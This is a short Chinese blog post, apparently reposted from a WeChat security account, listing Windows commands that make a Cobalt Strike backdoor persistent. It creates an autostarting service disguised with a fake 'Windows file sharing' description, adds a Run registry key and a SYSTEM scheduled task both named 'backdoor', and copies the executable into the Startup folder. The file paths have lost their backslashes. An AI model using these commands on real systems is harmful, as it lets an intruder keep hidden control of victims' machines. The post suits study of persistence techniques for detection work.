sc create "Share" binpath= "C:UsersxiaomDesktoptest.exe"
sc description "Share" "Windwos文件共享服务"
sc config "Share" start= auto
net start "Share"
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "后门" /t REG_SZ /d "C:UsersxiaomDesktoptest.exe" /f
copy C:usersxiaomdesktoptest.exe "%programdata%MicrosoftWindowsStart MenuProgramsStartup"
schtasks /create /tn "后门" /tr C:usersxiaomdesktoptest.exe /sc onstart /NP /ru "System"
start %systemroot% tasks
schtasks /delete /tn "后门" /F
http://www.baikesec.com/webstudy/penetration/38.html
原文始发于微信公众号(Reset安全):CS后门实现windows下持久化Tips
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论